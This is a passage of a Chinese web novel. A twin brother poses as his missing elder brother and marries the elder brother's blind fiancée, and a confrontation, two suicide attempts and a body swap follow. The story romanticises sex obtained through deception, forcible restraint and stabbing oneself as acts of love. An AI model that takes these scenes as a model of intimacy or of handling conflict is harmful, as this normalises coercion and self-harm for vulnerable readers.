沈溪言坐在榻上,湿漉漉的水汽还未散去,空气中弥散着淡淡的、令人安心的皂角香味,混杂着一丝少女独有的清甜气息。 ‘吱呀’一声,门被推开,一股冷风灌入,吹灭了屋内仅存的几根火烛,随即门又被迅速合拢。 冷冽的松木香夹杂着酒气,打乱了屋内的气息,这些日子沈溪言已经习惯了温越的味道。 可眼前一暗之后,眼盲的经历让她下意识的慌乱,急切地想要去点灯。 一双微凉的大手在黑暗中精准握住了她的手腕,男人的声音低沉沙哑,在头顶响起:“阿言,别怕。” ‘嗤’地一声,火折子亮起。 摇曳的烛火洒在沈溪言娇艳微红的面颊上,突然的亮光让她眯了眼睛,她还未看清男人的脸,就感到束发的红绸一松,随后轻柔地覆在了她的双目之上。 “夫君?这是……” 温越不敢看她盛满柔情的眸子,只用指腹轻轻挑起她的下颌:“阿言这样,甚美。” 下一秒,沈溪言感到身子腾空而起,跌进了柔软的床榻里。 温越不在犹豫,欺身而上。 黑暗放大了所有感官,沈溪言回抱男人,她摸到了他湿漉漉的长发,她轻笑一声,似乎是在乐男人的莽撞急切。 定是沐浴后连湿发都未来得及擦干。 可下一刻她便笑不出来了,压在身上的身躯火热滚烫,呼吸间,全是男人霸道的气息。 温越眼角发红,带着积压已久的渴望,低头吻了下去。 他起初吻的小心翼翼,随着这个吻的加深,逐渐失了章法。 唇齿纠缠间,柔软的布料滑落,掌心下的肌肤,光洁如脂,细腻如瓷。 初春新绽的桃花,在暗夜里悄悄吐蕊。 窗外寒风不知何时停了,炭火却烧的更旺了。 温越的理智在逐渐溃散,方才的纠结挣扎仿佛是一场笑话。 不重要,都不重要了。 温越无心思考在这场以谎言开启的感情中,他究竟骗了她多少次。 数不清,彻底回不了头了。 当然,他也没想再回头。 就让他在这场骗局中,沉沦,崩塌,万劫不复吧。 第11章 夫君,你在找什么? 第十一章 夫君,你在找什么? 翌日,晨曦微露,薄雾轻绕。 沈溪言动了动酸痛的身体,睁开了眼。 眼前的一切熟悉又陌生,入目不再是混沌模糊的一片虚无,而是床角精美的雕花,醒目艳丽的红绸,甚至是透过窗棂落在身侧的缕缕暖阳。 沈溪言心头一喜,不敢眨眼,连忙转头望向身侧之人。 男人累极了,还未醒来。 双目轻阖,呼吸均匀绵长,睫毛在晨光中投下细密的阴影,唇角微扬,似乎做了个美梦。 沈溪言的目光贪婪地描摹着他的轮廓,这是她的夫君,是她的爱人,思念如泛滥的洪水,瞬间填满了心房。 她的视线顺势而下,落在他裸露的光洁锁骨处,那里有一处极浅的咬痕。 脸颊迅速染上绯色的红晕,她不敢再往下看,心跳如鼓,下意识目光上移。 突然,沈溪言的目光僵住。 男人泛红的耳后,有一颗颜色极浅的小痣。 似乎有什么东西在脑中炸开。 沈溪言揉了揉眼睛,再睁开,没有消失,反复几次,终于颤抖着伸出了手。 指尖轻触那处肌肤,轻轻捻过,收回手时,似乎带回了一丝极浅的脂粉香味。 沈溪言的脑子有些发懵,只觉得心跳越来越快,这些日子被她刻意忽略的一些异常,一股脑涌入脑海…… 新婚夜的刻意回避,声音因伤恰好的改变,对栗子糕的轻微抗拒,还有那次去库房之后,他反应如此强烈,竟说出了和离二字。 她当时只当男子重颜面,并未多想,若他的伤从头到尾都是假的呢? 库房,对了。 库房里到底有什么? 沈溪言心头猛然一震,思绪翻涌,没注意身侧的男人忽然动了动,一只手揽上她的腰肢,温越见她睁眼,翻过身:“阿言,何时醒了?” 他将头埋进她的颈窝,贪恋地呼吸女子身上的气息,声音带着晨起的慵懒与沙哑:“昨晚辛苦了,怎么不多睡会,嗯?” 沈溪言身体轻颤,强压下心头的惊涛骇浪,眨了眨干涩的眼睛:“太高兴,睡不着了。” 温越抬起头,对上她清亮的眸子,心下一慌,下意识摸了摸耳后,见沈溪言面上并无异色,松了一口气。 他在心虚什么?纵使蹭掉了她也看不见的。 “那今日就让为夫伺候夫人梳妆。” 一阵收拾之后,温越望着铜镜中的美人失了神。 他正是二十多血气方刚的年纪,昨夜初尝滋味,又怕伤了她,草草结束,只能说是饮鸩止渴。 如今食髓知味,男人的眸光又暗了下来。 沈溪言看在眼里,紧张地攥紧了袖子。 就在此时,下人来禀,卫将军请侯爷去军营处理紧急公务。 临走时,温越的脸黑的和炭盆一样。 沈溪言好容易哄走了他,脑海中又浮现出一些细枝末节,他知他喜欢腊梅,对她的情谊也不似作假。 不知是不是她的错觉,今日晨起之后,他刻意将自己的左侧藏住。 她怕自己视力刚恢复,看错了,想再看一下都没有机会。 可他并不知道她视力恢复的事,有必要做到此步吗? 这件事还需要在仔细确认,若贸然揭开,是个误会的话,定会伤了他们夫妻之间的情分。 沈溪言如往日一般,喊来榴花,说年关将至,要去库房寻一些布料裁制新衣。 榴花扶着沈溪言行至库房:“夫人,小心门槛。” 屏退下人,榴花就见沈溪言松开她的手,径直走向东北方的一个角落。 那里放着一只箱子。 沈溪言颤抖着手打开,快速翻找,里面除了一些寻常的书籍和温越的旧衣,并无其他。 不对,不是这些。 “夫人?”榴花看着自家小姐的举动,惊在原地。 沈溪言转身,只见榴花喜极而泣:“您的眼睛,恢复了?” 她回过神,立刻竖起手指抵在唇边‘嘘’了一声,神色凝重:“此事暂且保密,万不可让他人知道,”顿了顿,接着补充一句:“尤其是侯爷。” 榴花点了点头:“记住了。” “快,帮我找找。” “夫人,找什么呀?” 沈溪言皱眉,说实话她也不知道找什么,可猜测的话又不好对榴花明说:“不知道,但凡你觉得异常的,就告诉我。” “是,夫人。” …… 两人在库房忙活了一天,一无所获。 晚膳时,卫奕亲自来回话,说侯爷军中有事耽误了,不能陪夫人用膳。 沈溪言只觉松了一口气。 她心里藏了事,不知如何面对他。 温越心情烦躁,他与阿言‘新婚’第二日,就被琐事绊住。 卫奕从侯府回来,他急忙向其打听夫人的今日的活动,脑海里自动补全了爱妻的身影。 卫奕无奈,事无巨细的禀告。 “什么?你说她今日去库房待了两个时辰。”温越听着听着,面色突变。 卫奕点点头:“是啊,夫人说是看看新岁裁制新衣的布料。” 他见温越神色有异:“怎么了?库房里世子的长枪你没收?” 上次误会之后,温越便将他偷藏兄长长枪的事告诉了卫奕。 “那倒没有。”温越按了按额角,站起身来,忍不住来回踱步。 “唉,那你急什么,吓死我了。” “我总觉得心里不踏实,卫奕,这交给你了,若有急事飞鸽传书,我回府一趟。” “哎?你……行吧。” 夜幕降临,长街上一道身影策马掠过,留下一道残影,温越赶在宵禁的最后一刻回了府。 他没有第一时间赶去寝房见沈溪言,先去了书房的内室。 那个用于遮盖耳后痕迹的特制粉膏,就在书架后的暗格里,涂一次能保持三日不掉。 昨日醉酒,今天到军营才发觉蹭掉了些,一会要去见阿言,虽说夜晚烛火昏暗,阿言又有眼疾。 可他今日莫名有些心慌,还是再修饰修饰,以防万一。 温越懒得点灯,一手握着火折子,一手快速翻找,动作焦急,显得鬼鬼祟祟,以至于根本没有察觉到身后有人。 “咦?去哪了?” 就在他有些不耐烦的时候,一道清冷的声音从身后的阴影处幽幽传来。 “夫君,你在找什么?” 第12章 对峙 第十二章 对峙 温越一怔,短促地呼了一口气,整个人像生根似的僵在原地,他的思绪瞬间空白,嘴唇抖动,声音沙哑干涩:“阿言,你怎会在此?” 沈溪言站起身凑近几步:“怎么?夫君的书房,我何时不能进了?” “……我不是那个意思。” 温越僵硬地转身,他手里还握着火折子,火光跳跃闪烁,照在他青白的脸上。 沈溪言从黑暗中走出来,目光清亮,步伐坚定稳当,哪里还有当时眼盲时的试探与小心翼翼。 温越只一眼就知道她能看到了。 沈溪言的指尖捏着那个淡蓝色的小瓷瓶,在火光下晃了晃,目光如刺:“夫君在找这个吗?” 温越嘴唇翕动,并未接话。 沈溪言嗤笑一声,绕着温越缓缓走动,她边走边拔开了瓶盖,轻轻放在鼻间嗅了嗅,一股淡淡的脂粉香味飘出。 “这是‘玉容膏’,女子常用其遮盖疤痕,或者脸上的斑点,夫君寻它做什么?” “还是说,夫君也要遮盖这脸上什么见不得人的东西?” 沈溪言绕了一圈,在温越面前站定。 温越喉咙里仿佛吞了一口砂砾:“战场上划伤了脸,怕你嫌弃,就遮了遮。” 他语气一顿,迅速岔开话题:“哦,对了,你的眼睛什么时候恢复的?” “是吗?你我成婚后,我眼疾未愈,何来看到嫌弃一说?” 温越一噎。 沈溪言冷笑,眼泪在眼眶里打转,忍无可忍:“温越!若不是眼疾意外恢复,我还要被你蒙在鼓里多久?” 温越被骤然唤了真名,脸色难看,他不确定沈溪言到底有没有看清,还是在套他的话。 垂死挣扎地说道:“阿言,你在说什么?你眼睛刚刚恢复,也许是看错了,我没骗你,这真的是……” “看错?” 沈溪言扭头,从身后的矮案上端出一盘栗子糕,重重拍在面前的桌上。 “那这个呢?‘温越’对栗子糕过敏,连碰都不能碰,可阿珣最爱这口,那日我便觉得奇怪,连卫奕大老远都能察觉到危机,你却被周宣礼那草包重伤至此……” “那只有一个原因,那就是你是故意的……你故意用刀伤掩盖过敏。” 温越的脸上完全褪去了血色,满眼不可置信地望着她:“那栗子糕不是温如意带去的,你那时便在试探我?你竟疑心我至此?” 他神情悲恸,仿佛是他才是被骗的那一个。 沈溪言没有看他:“成婚以来,你种种怪异行为,声音变化,久久不愿同房,对栗子糕的抗拒,还有你浑身上下给我的那股陌生感觉,总是挥之不去。” “还有库房里,你一定是放了会暴露你身份的东西,怕我看到,那日才会如此紧张……” “太多破绽了,我才发现,我竟然今日才发现……” 沈溪言越说越觉得心寒。泪水如断了线般往下掉。 温越悄悄松了口气,知她没有实证,看她落泪又有些心急:“阿言,你别哭,眼疾方才恢复,有什么误会慢慢说……” “别碰我!”沈溪言退后一步,挥开他的手:“昨日之前,你有那么多机会开口,为什么不说?” “明明知道这是错,却还要在昨晚……在昨晚那样对我!温越,你到底把我当成了什么?” 沈溪言捂住脸,身形颤抖,无声呜咽。 “我……” 温越的心脏仿佛被一只大手狠狠攥住,话到嘴边,他还是不敢承认。 “阿言,不知道你为何会将我认成逸之,这其中一定有什么误会。” “呵。”沈溪言抬起头,目光直逼男人:“你不敢让我看,对吗?” “就现在,你敢把耳后的头发撩起来,让我看一眼吗?” 温越的手在身侧剧烈颤抖,他死死攥成拳,强撑着嘴硬道:“有何不可。” 他在赌,赌沈溪言没有确切地看清楚。 就当他的手指即将伸到耳后,沈溪言突然垂下目光,苦笑一声,满脸疲惫:“罢了。” “不看也罢,若是一会你耳后又‘恰好’添了什么新伤,还要劳烦二公子在编新的谎言来骗我。” 听着她嘲讽的话,温越悄悄收了袖中的匕首,只感到心如刀割,每一次呼吸都痛到难以忍受。 “你就如此不信我?” “不信。” “要怎么做,你才肯信我?” 沈溪言深深盯了他一眼,男人眼里满是被误会的痛苦神色。 她抬手指了指桌前的栗子糕:“你既然不肯承认是温越,那你便把这盘糕点吃了,吃了它,我就信你。” 温越眼里闪过一丝决绝,没有丝毫犹豫,毅然抓起一块栗子糕,就要往嘴里送。 “啪!” 下一秒,温越手背一痛,糕点被打飞出去,散落一地。 “温越!事到如今,你究竟还要骗我到何时?” 沈溪言终于情绪崩溃,不顾形象地哭喊:“为了骗我,你连命都不要了吗?你究竟想要什么?你要逼死我吗?” 温越慢慢转过头,浑身的力量仿佛被抽干,他露出一个比哭还难看的笑容,仰头发出一声哀叹:“……我怎么舍得你去死。” 他痛苦地跪倒在地,双手揪着自己的头发,泪水顺着脸颊一滴滴滑落,声音暗哑: “为什么?为什么从最开始,你眼里就只有他,明明那年冬日,是我先遇到你的,明明我两一母同胞,长相一模一样,你为什么喜欢他不喜欢我?” 沈溪言在最初的震惊过后,逐渐冷静下来,她幽幽道:“情不知所起,一往而深。感情的事,从来不讲究先来后到。” “不,你撒谎,你敢说这些时日你没有动心?” “没有!” “你胡说!”温越站起来,步步紧逼,身高的差异让沈溪言感到绝对的压迫。 沈溪言颤抖着后退,直到后腰撞到桌角才停住,她沉声道:“温越,不要再执迷不悟了,明日准备和离书吧。” “和离?你要离开我?不可能!”男人的眼底瞬间一片腥红。 “不和离也行,休书,给我休书。” 他的理智彻底崩塌,双手紧紧握住沈溪言的肩膀,咬牙道:“你休想离开我。” 沈溪言吃痛,眼尾含泪,皱眉道:“温越,松手,你弄疼我了!” 男人恍若未闻,第一次不顾及她的感受。 此刻男人就像是一头失控的猛兽,他一把抓起沈溪言,将她抗在肩膀上,大步流星地冲出了书房。 “放开我!你要干什么!温越你个混蛋!” 女子身量娇小,温越扛起她来丝毫不费力,甚至还能腾出一只手来按住她乱瞪的双腿。 可她闹腾的太厉害。 温越几乎是下意识的行为。 沈溪言本就是头朝下的姿势,她察觉到温越正往寝房的方向走,心中警铃大作。 她奋力挣扎,可没走几步,就感到腰部以下的部位,被男人宽厚的大手结结实实地拍了一掌。 纵使冬日穿得厚,可她的感受却真实无比,可见男人手劲之大。 她瞬间僵住,脸颊迅速充血。 温越意识到自己做了什么,也愣了几秒,可见女子停止了挣扎:“再叫错,是要罚的。” “你!” 沈溪言从未被如此对待,她感到前所未有的羞耻,一瞬间竟然真的说不出话来,因为她知道温越这个疯子真的做得出来。 第13章 不做就滚 第十三章 不做就滚 男人走得飞快,一路上丫鬟侍从远远地听到动静,只一眼就吓得魂飞魄散,个个把头埋得极低,再也不敢乱看。 侯爷素日里温和平易,可是毕竟是从战场上下来的,发脾气冷脸的时候还真是吓人,能惹怒他还毫发无伤的,恐怕也只有夫人了。 温越一脚踹开寝房的大门,沉着脸对一众侍女和仆从吼道:“滚出去!” 榴花还想张口,被他一眼瞪了回去,默默退了出去还带上了门。 他将沈溪言重重丢在柔软的床榻上,整个人随之压了上去,粗鲁地亲吻她的唇角,带着浓浓的占有欲。 “……滚开!别碰我!” 沈溪言奋力挣扎,可女子的力量毕竟太小,下一秒她的双手就被捉住,死死禁锢在了头顶,双腿也被压住,整个人动弹不得。 温越又吻了下来,渐渐感到身下的女子不在挣扎,他侧目,脸颊贴到了她被泪水打湿的鬓发,凉凉的,让他瞬间惊醒。 “如果要做就快些,然后给我休书。” 温越的动作一停,按着她的手力道一松,下一秒,脸上就结结实实的挨了一巴掌。 “不做就滚。” 男人的脸上不一会便出现了几道指印,他顶了顶腮,唇角微微勾起:“我们是夫妻,岂能拿亲近之事当做筹码?” “那你要怎样才愿与我和离?”沈溪言绝望的偏过头去,不愿再看他。 温越将她的头掰回来:“想都不要想,此生绝无可能。” 她看的清他眼底的疯狂,眼底闪过决绝:“没有人能够强迫我。”就在男人愣神的瞬间,她摸起枕下的匕首,向自己的心口猛然刺去。 这是阿珣当年给她防身用的。 温越眼疾手快,伸手去挡,利刃穿掌而过,刺出的角度也偏了几分,还是划破了她的左肩的衣裳。 她被惊到,眼看着男人手掌中鲜血瞬间涌出。 温越闷哼一声,拿着刀柄,往外一扯,匕首‘咣当’一声落地。 他不顾自己血红的手,抬手就要揭沈溪言的领口:“阿言,让我看看伤到没有?” 沈溪言如提线木偶一般,任由他摆布,她的双目尽是血色:“他,是怎么走的?” 男人怔愣了片刻,好半响才开口:“……下落不明,尸骨无存。” 沈溪言眼底是噬心腐骨的痛意,声音嘶哑而绝望:“……与你有无关系?” 回应她的是男人长久的沉默。 再次抬眼望去,只看到他眸底的不可置信,温越眼睫轻颤,随时都要破碎:“在你眼里,我就是这样的人?” “……那你要我如何想?” “好!” “是我做的!我害死了兄长,你要为他报仇,就往这里刺!” 温越一把拔下女子的发簪,将衣襟扯开,露出胸膛的肌肤,握着她的手将簪子抵在胸口。 沈溪言看到他胸口密密麻麻的旧伤疤痕,心底一软,可脱口而出的话却是:“你以为我不敢?” “嫂嫂向来公正,有仇必报,怎会不敢?” 温越话里尽是自嘲。 沈溪言没想到他到此时还在激她,手中当真用了几分力,发簪没入肌肤半寸。 “嫂嫂就这点本事,还想替兄长报仇?”男人的唇角勾起一丝悲凉。 沈溪言气急:“你要死是吗?好……” 手腕猛然一刺,将发簪又扎进几分。 他喘着粗气,眼里带了恳求:“……只要,你能消气,生死又有何妨?” “疯子,你真是个疯子……” “若当年落水,救我的不是阿珣而是你……” 沈溪言满目凄凉,她拔出簪子,调转方向,向自己脖颈处狠狠扎去,带着决绝的笑意:“那如今这条命,我还给你!” “不——” 温热的血液四溅。 温越这次没能来得及阻止,他气急攻心,喉间瞬间涌上甜腥,紧接着眼前一黑,身体重重栽倒在了女子身旁。 在无人知晓的角落,两股鲜血交汇,缠绕,融合,最终浸润在一起,将洁白的床榻染成血红色。 窗外月影遍地,就连万丈苍穹之上的圆月,都泛着妖冶的红色光晕。 …… 侯府侍卫房里,三五男子正围坐在炭火旁烤火。 “哎,听说侯爷昨夜又在主院歇了一宿,老夫人一高兴,赏了全府上下半年的月例。” “此话当真?这差事可真是好,来侯府不到一个月,就拿了这么多赏赐。” “可不是嘛,这下日子可有盼头了。” “十一,这份是你的银子,睡醒了没?” 耳朵里钻入断断续续的话语,一个沉甸甸的钱袋‘啪’地一声丢在床边,那名叫十一的清秀侍卫猛然惊醒,他看了眼屋内角落冒着青烟的香炉。 是安神香。 怪不得他睡的如此沉。 见他醒了,男人凑上前:“唉,十一兄弟,这两日卫将军让弟兄们好好照顾你,帮你身上的伤换药,让你好好睡一觉,可你都睡了一日两夜了,总得起来吃点东西吧。” “还有,哥几个这两天不仅照顾你,还要替你当值,都不容易,这赏钱……” 男人将钱袋拿起,在手里掂了掂。 十一的脸色瞬间变得极其难看,他一把抓起此人的衣领,声音冰冷嘶哑:“你说什么?” “我,我说这钱,啊——不不不,这钱我不要了……” 被这吃人的眼神情吓住,男人气势瞬间软了下来,急忙改口。 “我问你们,方才说什么?什么叫侯爷昨夜又在主院歇了一宿,又?” “啊?这,这……” 众人被他的阴郁的眼神吓住,断断续续地又将事情复数了一次。 十一的脸色灰白一片,越听眸色越沉。 “小兄弟,不,大哥,就是这样,您高抬贵手,能先放开我吗?” “该死的!” 温越,他敢! 他竟然敢! 十一低骂一句,一把推开眼前之人,瞬间没了人影。 众人久久回神,那名先前被抓住领口的男人,脸色红了白,白了红,最后狠狠王地上啐了一口。 “呸!” “同样是侍卫,若不是卫将军吩咐,谁乐意搭理他,给谁甩脸子呢。” “赵哥,十一没拿银子,而且,而且……” “咋!有话快说,有屁快放!” “他好像是往主院方向去了,你说,他不会是要去告状吧,说我们昧了他的赏赐……” 赵侍卫脸色一僵,又迅速调整:“怕什么!在场的都是见证,是他自己丢了不要,况且,是我好心叫醒他,告诉他有赏赐这事,若他还睡着,怎能知道?” “是是是……” 赵侍卫想起男子的眼神,又是一阵心悸,他咽了口唾沫:“呸,不知道的还以为睡了他媳妇,急成那样……” 第14章 她现在是我妻子 第十四章 她现在是我妻子 十一心急如焚,脚步凌乱,一时不慎,还重重地摔了一跤,脸颊磕在石子路上,皮肤被划破,却没有出血。 他什么都顾不得了。 他冲进主院,一脚踹开侯爷夫人寝房的门,胸口积压的怒火尚未宣泄,就被眼前的景象生生打断。 脑中最怕见到的旖旎画面并未出现,映入眼帘的反而是满眼刺目的红。 出事了! 只见‘温越’躺在床榻中央,双目紧闭,胸口似乎有伤,锦缎被褥也沾满了暗红的血渍。 而‘沈溪言’瘫坐在床角,她的手中紧紧攥着一支染血的发簪,发髻凌乱,眼神涣散,脸上原本的惊诧在看到陌生人闯入的那一刻瞬间警惕。 “你是何人?” 十一目光复杂:“是他逼你了?” ‘沈溪言’的目光有些迟疑:“他?”她顺着男人的目光望向昏迷不醒的‘温越’:“我?” 她将头又转回来,仔细打量了男人的穿着和样貌,将簪尖指向男人:“我想起来了,你是侯府新来的侍卫,谁让你进来的?滚出去!” 男人走近几步,眸中痛苦之色渐重。 他根本无心思考,‘沈溪言’眼疾痊愈后并未见过他,如今却能一眼认出他是侯府侍卫这件事,有多蹊跷。 他把手伸向耳后,一阵摸索,在‘沈溪言’震惊的眸子中,他揭掉了脸上那张薄如蝉翼的人皮面具。 “阿言,别怕,是我,我回来了。你告诉我发生什么了?” 他看到了女子脖颈内侧惨烈的伤,眸中一痛:“可是温越逼你了,你才将他刺伤?” ‘沈溪言’眼看着这张与‘温越’几乎别无二致的冷峻精致的容颜一点点显露,放大,贴近。 她的瞳孔不断放大,脸上闪过吃惊与迟疑,接着是不可置信,最终喜极而泣。 她本能地想将男人搂住,结果因为身高差距,变成了一头扎进男人怀里。 积压数月以来的情绪顷刻间决堤:“哥?!你没死,你回来了!” 假扮成侍卫十一的温珣身体瞬间僵硬。 “你叫我什么?” 他从北疆战场上的死人堆里爬出来,九死一生,拼了命跑回京城,却发现一切都不一样了。 原本应该死在北疆的‘定北侯世子’继承了爵位,甚至还在陛下的特许下娶了妻。 于是他以侍卫的身份混入侯府,大半个月以来的蛰伏,他发现温越的演技很差,可偏偏亲近之人几乎均在配合他,除了阿言。 边关太平,京城安稳,他几乎瞬间就明白了这是父亲的授意。 他不敢贸然袒露身份。 一是京中局势不明,侯府表面风平浪静,实则暗流涌动,潜伏的这段日子,他不知处理了多少刺客暗探。 二是北疆一战,他遇袭险些丧命,是军中有奸细透露了他的行动计划,如今敌暗我明,暂时隐藏身份,暗中相助是最好的选择。 三则是他发现温越与阿言发乎情止乎礼,成婚至今并未圆房,阿言也不知嫁的并非是他,她若知晓,定不会答应成婚。 她心中只有他,这一点,温珣很是放心。 所以,见周宣礼欺辱她,他一时没忍住气。 离了侯府。 为了杀周宣礼,他与周父派去救儿子的高手缠斗,受了内伤,加上日夜兼程,不要命地赶路,回来刚想歇口气,就听见母亲劝温越与他的妻子亲近。 母亲可是知情的啊! 他一时急血攻心,眼前一黑,晕了过去。 谁知醒来就听到了他两同房的消息! 如今,阿言跟着温越喊他哥? 那一瞬间,温珣只觉得涌上心头的寒意竟比北疆的凛冬还要刺骨。 他的唇角翕动,尝试了几次终于颤抖着张口:“阿言,你是知情的?你知道那不是我,你愿意同他成婚,与他同房……” “哥!是我,我是温越!” 女子打断了他,眼睛里透着急切,眉头深锁。 温珣感觉自己的脑子此刻有些迟钝:“就算……你也不必编出这样离奇的瞎话骗我。” “哥!”女子叹了口气:“昨夜我身份暴露,她得知嫁的不是你,要杀了我替你报仇,争执中……出了意外,我今日醒来,就到了她的身体里。” 温越见温珣眼里还有探究,连忙伸手制止:“哥,你先别说话。” 他看着自己纤细娇小的双手,和染着蔻丹的指甲,还有一丝不习惯,又急忙收回来:“6岁那年我贪玩,逃学落水受了风寒,怕父亲责罚,就假扮成你。” “结果父亲偏心,说你不会胡来,若出去定有急事,不罚你反而派了大夫多加安慰,我一时不愤,说漏了嘴,病好后又被罚在院里站了两个多时辰。” “还有14岁那年,年节的时候,陛下赏赐了两匹汗血宝马,父亲给了你和卫奕,我也想要,冲你发脾气,父亲却说给了我暴殄天物。” “我看的出来,你很欢喜,你为它取名‘踏云’,当着父亲的面,你表现的平淡,却在第二天一早,就冷着脸将踏云牵到了我房门口,说你不喜欢,要送给我……” “还有那年……” “别说了,我信。” 温越长舒一口气。 温珣目光如炬,死死地盯着眼前的女子。 这是他此生最爱的女子,可她此时种种细节表情又在表明,占据了这具身体的灵魂,确实是他的胞弟温越。 说不上的怪异。 温珣皱着眉,骤然想到什么似的,脸色一沉:“你并非是强迫女子的人,若身份败露,同她说明白,并非有意欺她,阿言虽柔弱却刚烈,但也不是不讲道理的人。” 他顿了顿,语气危险:“昨夜,你们究竟发生了什么?” 温越咽了口唾沫,不敢直视兄长的眼睛。 眼看他这副模样,温珣哪还有不懂的道理,他的拳头握得咯咯作响:“所以,你以我得身份骗她,同她圆房?” 回应他的是温越长久的沉默。 “温逸之!你!”温珣扬起了拳头,可对着那张日思夜想的面容,他却怎么也下不了手,最终沉沉地一拳砸在床头。 温珣是侯府嫡长子,自小被教的克己复礼,温良恭俭,可如今,他真想把从前那些兄友弟恭礼教纲常撕得粉碎。 “那她呢,阿言去哪了?” 温越指了指床上躺着的自己。 “我到了她身体里,她应当……在我身体里。” 突然,几声试探的敲门声打断了两人的对话,接着是侍女榴花略显犹豫的声音:“侯爷夫人,老夫人遣人来问,今日是否一同用早膳?” 温越顶着沈溪言的脸,眉头紧皱,母亲何时同他们一起用过早膳,分明是听了昨夜的动静,才来探听消息的。 “哥,这件事的真相不能让母亲知道。” “纵然事出有因,她持凶器伤夫,即便是侯夫人,也是重罪。” “嗯。” “还有一件事。” 温珣强压下心头的暴怒,咬牙道:“什么?” “若阿言醒来,还请兄长助我,阿言亦不能得知真相,她若知道真相,竟失身于我,定不会苟活。” 温珣忍无可忍,恰好此时又处传来的断断续续的敲门声,他心头的火没处撒,冲外吼道:“滚!” 他平日里鲜少发火,迁怒下人,可今日竟然频频失态。 门外的声音戛然而止。 温珣咬牙:“你是要我同你一起欺骗自己的妻子?” “她现在是我妻子。”温越脱口而出。 “你说什么?” 温珣本就不是话多之人,若不是温越是他亲弟弟,他才懒得与其多费口舌。 如今听到这话,他眼底的火苗迅速窜了上来,刚刚松开的拳头又捏紧了。 “我说,阿言的性命才最重要,不是吗?” 第15章 因祸得福 第十五章 因祸得福 约莫半炷香的工夫,榴花端着盛满温水的铜盆,带着几个大丫鬟战战兢兢地走了进来。 今日一早,老夫人派人来打听消息,没有一个丫鬟侍从敢当这个出头鸟。 毕竟昨夜侯爷发怒的样子,大家都看在眼里,于是推了她出来,毕竟她是夫人的陪嫁,无论如何,总不至于丢了性命。 今早被侯爷吼了一句,她的腿至今还是软的,也不知夫人怎么样了。 一进门,一股浓重的血腥味就扑面而来。 榴花心里‘咯噔’一声,又想到昨日情景,夫人惹怒了侯爷,不会出事了吧? 她大着胆子朝床榻上瞧去。 只见床上的‘夫人’昏睡不醒,‘侯爷’则黑着脸坐在床边。 榴花脑袋嗡嗡地响,膝盖一软,就跪了下去,开口声音都在颤抖:“侯爷?夫人,夫人她……” 别人可以不说话当鹌鹑,榴花做不到不管自家小姐。 温珣沉着脸,一脸不耐烦的样子:“夫人来了癸水,弄到了床榻上,你们东西放下就出去,准备些女子用的东西吧。” 此话一出,榴花瞬间松了口气,露出了恍然大悟的表情。 怪不得侯爷脾气不好,原来是兴致来了遇到这事,免不了要扫兴,脸色自然不好。 不过,夫人的小日子是这几天吗? 可她不敢随便发问,侯爷说是就是,她恭敬应道:“是。” 脚没迈出门,就听见侯爷继续吩咐: “还有,夫人腹痛不适,请何老过来。” “是,侯爷,奴婢这就去。”这一次,榴花的话语里带了些欣喜。 侯爷还是疼夫人的。 门一关,原本躺在床上装晕的温越瞬间坐了起来:“哥,接下来怎么办?” 温珣没好气地白了他一眼:“现在我的人不都听你吩咐吗?趁阿言还没醒,安排几个人当刺客,我再当着众人的面故意受个伤,你到时舍身护一下我,这样,你俩身上的伤就算有了交代。” “记得这次演技不要太差。” 温越眼眸一亮:“就说是周家人干的?” “对,有几分长进。”温珣眼底闪过一抹厉色,“周敬山死了儿子,总要给这口气找个出口不是?正好背这个锅。” 温越连连点头:“不错不错,”随即反应过来,“哎?你怎么知道周宣礼死了,是你杀的?” 后者闻言咬牙切齿:“要不是为了杀那个蠢货,你的奸计怎会得逞?” 看着女子清澈明亮的眼里充满不属于她的狡黠神色,温珣皱着眉,别开头。 想了一会又开口补充了一句:“你,不要用阿言的脸做如此猥琐的表情。” 猥琐?有吗? 分明是你恨屋及乌。 温越不敢说,毕竟这件事是他理亏在前,他缩了缩脑袋,决定不同温珣计较。 胜者从不在嘴上争输赢对错。 他迅速转移话题:“当务之急是,想办法尽快换回来。还有,若阿言醒来,怎么圆好这个谎言。” 兄弟二人这次没有争论,双双陷入了沉默。 良久后,温珣才压下心头的复杂情绪,他按着钝痛的额角:“你先告诉我,你怎么暴露的?” “那么多人替你遮掩,她甚至还看不清,你还能暴露?” 尾音上扬,带着浓浓的嘲弄,温越被呛的面上一讪:“怪就怪在她对你的了解如此之深,连细微的小事都足以起疑,之前就试探过我多次,我已经足够小心了,可运气还是不够好,偏巧露出一点点破绽的时候,她眼疾痊愈了。” 听到这话,温珣的表情瞬间软了下来,甚至唇角微扬:“当真?她当真对我如此在意?” 他眼里带着几分掩饰不住的得意:“趁阿言还没醒,你快与我细细说来。” 温越冷冷地瞥了一眼对方:“你潜伏这么久,不都看到了?还问什么。” “毕竟是当侍卫,要当值,难免有疏漏。” “……” …… 卫奕的动作很快,戏演的十分完美。 这场刺杀完美落幕,在温越的指使下,消息在一日之内就传遍了京城。 定北侯府喜气洋洋的氛围没有维持半天,侯爷和侯夫人遇刺受伤的消息,如同一层阴霾,迅速将整个侯府笼罩。 朝廷重臣三番五次遇刺,朝廷命大理寺七日之内,将幕后真凶缉拿归案。 大理寺卿张大人吓得直接递上了辞呈,整个大理寺竟无一人敢接这个案子。 只有沈行毛遂自荐,案件移交刑部待查,本朝大理寺查案,刑部复核,此举本不符合流程,可掉在地上又实在难看。 可案子前脚交到沈行手里,后脚就有官员跳出来说,受害是为沈大人的妹妹妹夫,证据又直指与沈家有旧怨的周家,沈行应当避嫌。 总之,乱的如同一锅粥,迟迟未下决断。 温越觉得这样反而更好,足够幕后之人布局谋划,他们要做的,就是盯紧大理寺与周家的动作,总能顺藤摸瓜,揪出线索。 与此同时,大长公主听闻定北侯夫人沈氏护夫忠勇的事迹,大加赞赏,送来了成箱的珍贵补品,和一封年节前赏梅宴的邀贴。 侯府自从出事,从上到下加强守卫,数百精卫,日夜不断地巡视。 还将每个人的底细和近日的动向细细查问了一番,别说,还真抓出来四五个行迹鬼祟的下人。 侯府主院门口,一名侍卫满脸不耐烦,早上刚感叹了一句活少钱多,也不知哪个杀千刀的,胆敢刺杀侯爷,这下好了,兄弟们的好日子没了,比之前不知道忙了几倍。 他不知想到什么,突然眼珠一转,偷偷同左侧的同僚低语:“十一早上出去便没回来,你说刺客不会就是他吧?” “赵哥,别乱说,若真是那小子,我们还是什么都不知道为妙。” “说的有道理。” 半个时辰后,何老抓着药箱,眼中带着浓浓的诧异,在房中两坐一躺的三人之间来回打量。 除了昏迷的‘温越’,三人大眼瞪小眼。 